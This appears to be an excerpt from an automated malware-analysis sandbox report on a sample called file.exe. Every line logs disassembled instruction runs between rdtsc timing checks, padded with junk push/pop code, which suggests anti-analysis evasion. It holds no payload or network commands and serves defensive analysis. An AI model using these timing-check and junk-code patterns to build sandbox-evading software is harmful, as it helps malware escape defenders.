Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41FD45 second address: 41FD49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA042 second address: 4AA046 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA046 second address: 4AA05C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F4828F7EDE0h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA05C second address: 4AA07E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F4828E70469h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA353 second address: 4AA357 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA4AF second address: 4AA4B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA4B5 second address: 4AA4D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 pushad 0x00000007 jg 00007F4828F7EDE5h 0x0000000d jmp 00007F4828F7EDDDh 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jg 00007F4828F7EDD6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA4D9 second address: 4AA4E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA4E6 second address: 4AA4EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 463379 second address: 4633A6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov ch, bh 0x0000000d lea eax, dword ptr [ebp+124770FBh] 0x00000013 call 00007F4828E70461h 0x00000018 mov edi, edx 0x0000001a pop ecx 0x0000001b push eax 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f push edx 0x00000020 pop edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4633A6 second address: 4633B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4633B0 second address: 44D27F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov ecx, dword ptr [ebp+122D2A9Dh] 0x00000010 call dword ptr [ebp+122D2487h] 0x00000016 push eax 0x00000017 push edx 0x00000018 push edi 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b pop edi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4634B9 second address: 4634BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4634BD second address: 4634C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4635BE second address: 4635EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f pushad 0x00000010 jng 00007F4828F7EDE4h 0x00000016 push eax 0x00000017 push edx 0x00000018 js 00007F4828F7EDD6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4635EA second address: 4635EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 463A10 second address: 463A16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 463A16 second address: 463A40 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828E7045Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor dword ptr [esp], 06845EE4h 0x00000012 add edx, 0C74F975h 0x00000018 push 6500EAD2h 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 463A40 second address: 463A44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 463B34 second address: 463B3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 463B3A second address: 463B3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 463ED9 second address: 463EDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46428C second address: 464299 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 464299 second address: 46429D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46429D second address: 4642A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4642A3 second address: 46431B instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4828E7045Ch 0x00000008 je 00007F4828E70456h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007F4828E70458h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 00000019h 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b mov dword ptr [ebp+122D188Ah], edx 0x00000031 mov edi, 65A32994h 0x00000036 push 0000001Eh 0x00000038 push 00000000h 0x0000003a push edx 0x0000003b call 00007F4828E70458h 0x00000040 pop edx 0x00000041 mov dword ptr [esp+04h], edx 0x00000045 add dword ptr [esp+04h], 00000019h 0x0000004d inc edx 0x0000004e push edx 0x0000004f ret 0x00000050 pop edx 0x00000051 ret 0x00000052 sub edi, dword ptr [ebp+122D1FCDh] 0x00000058 push eax 0x00000059 push eax 0x0000005a push edx 0x0000005b jmp 00007F4828E7045Fh 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 464634 second address: 464638 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 464638 second address: 46466D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ecx 0x0000000a call 00007F4828E70458h 0x0000000f pop ecx 0x00000010 mov dword ptr [esp+04h], ecx 0x00000014 add dword ptr [esp+04h], 00000016h 0x0000001c inc ecx 0x0000001d push ecx 0x0000001e ret 0x0000001f pop ecx 0x00000020 ret 0x00000021 lea eax, dword ptr [ebp+124770FBh] 0x00000027 push eax 0x00000028 pushad 0x00000029 push ecx 0x0000002a push ebx 0x0000002b pop ebx 0x0000002c pop ecx 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46466D second address: 464671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 464671 second address: 44DDDE instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4828E70456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e movzx edx, di 0x00000011 mov dword ptr [ebp+122D208Ah], edi 0x00000017 call dword ptr [ebp+1244765Fh] 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AEF64 second address: 4AEF6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AEF6A second address: 4AEF6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AEF6E second address: 4AEF72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0A8 second address: 4AF0AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B47B1 second address: 4B47B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B47B5 second address: 4B47D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4828E70462h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007F4828E70456h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9D36 second address: 4B9D59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F4828F7EDE7h 0x0000000c push eax 0x0000000d pop eax 0x0000000e push esi 0x0000000f pop esi 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA4AE second address: 4BA4B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA4B2 second address: 4BA4BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA4BA second address: 4BA4BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 464113 second address: 464119 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 464119 second address: 46411D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46411D second address: 464181 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 call 00007F4828F7EDE7h 0x0000000e call 00007F4828F7EDDDh 0x00000013 jmp 00007F4828F7EDE1h 0x00000018 pop edi 0x00000019 pop edi 0x0000001a push 00000004h 0x0000001c push esi 0x0000001d sbb di, 59C0h 0x00000022 pop ecx 0x00000023 nop 0x00000024 jmp 00007F4828F7EDE3h 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 464181 second address: 464185 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 464185 second address: 46418F instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4828F7EDD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46418F second address: 464199 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F4828E70456h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA601 second address: 4BA605 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BCAAC second address: 4BCACA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jc 00007F4828E7046Dh 0x0000000b jmp 00007F4828E70461h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4191CF second address: 4191D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4191D3 second address: 4191DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4191DD second address: 4191E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C0B48 second address: 4C0B6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F4828E70456h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jmp 00007F4828E70465h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C0DFA second address: 4C0DFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C1214 second address: 4C1218 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C1351 second address: 4C1355 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C2E56 second address: 4C2E82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F4828E70467h 0x0000000c jmp 00007F4828E7045Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C2E82 second address: 4C2E86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4233FF second address: 423403 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C592A second address: 4C5932 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5D21 second address: 4C5D3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4828E70468h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD92B second address: 4CD92F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD92F second address: 4CD933 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CBAAF second address: 4CBAD9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4828F7EDE3h 0x00000008 jmp 00007F4828F7EDE2h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CBAD9 second address: 4CBAE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CBAE5 second address: 4CBAEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CBC65 second address: 4CBC6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CBC6B second address: 4CBC6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CBC6F second address: 4CBC87 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828E70464h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CBF8C second address: 4CBF92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC214 second address: 4CC218 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC218 second address: 4CC237 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F4828F7EDE9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC4F4 second address: 4CC51D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4828E70466h 0x00000009 jmp 00007F4828E7045Fh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC7CB second address: 4CC7CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC7CF second address: 4CC7D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC7D3 second address: 4CC7F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F4828F7EDDEh 0x0000000d js 00007F4828F7EDD8h 0x00000013 push edi 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC7F1 second address: 4CC7F6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD05B second address: 4CD08A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828F7EDDCh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007F4828F7EDD6h 0x00000013 jmp 00007F4828F7EDE5h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD08A second address: 4CD090 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD090 second address: 4CD095 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD660 second address: 4CD664 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD664 second address: 4CD66E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7074 second address: 4D7079 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7079 second address: 4D7084 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F4828F7EDD6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6222 second address: 4D622B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6956 second address: 4D6960 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4828F7EDD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6AC2 second address: 4D6AD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F4828E70456h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8681 second address: 4D8690 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007F4828F7EDD6h 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8690 second address: 4D86C7 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F4828E70456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4828E70466h 0x00000011 jmp 00007F4828E70465h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0490 second address: 4E04BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F4828F7EDE5h 0x0000000a jmp 00007F4828F7EDDEh 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E04BE second address: 4E04C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E04C2 second address: 4E04E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828F7EDE0h 0x00000007 jns 00007F4828F7EDD6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jnl 00007F4828F7EDDCh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E04E4 second address: 4E0500 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4828E7045Ch 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F4828E7045Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DEA74 second address: 4DEA88 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4828F7EDD6h 0x00000008 jns 00007F4828F7EDD6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DEA88 second address: 4DEA8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DEC37 second address: 4DEC3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DEC3B second address: 4DEC58 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828E70463h 0x00000007 ja 00007F4828E70456h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DEF16 second address: 4DEF1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DEF1C second address: 4DEF20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF054 second address: 4DF05A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
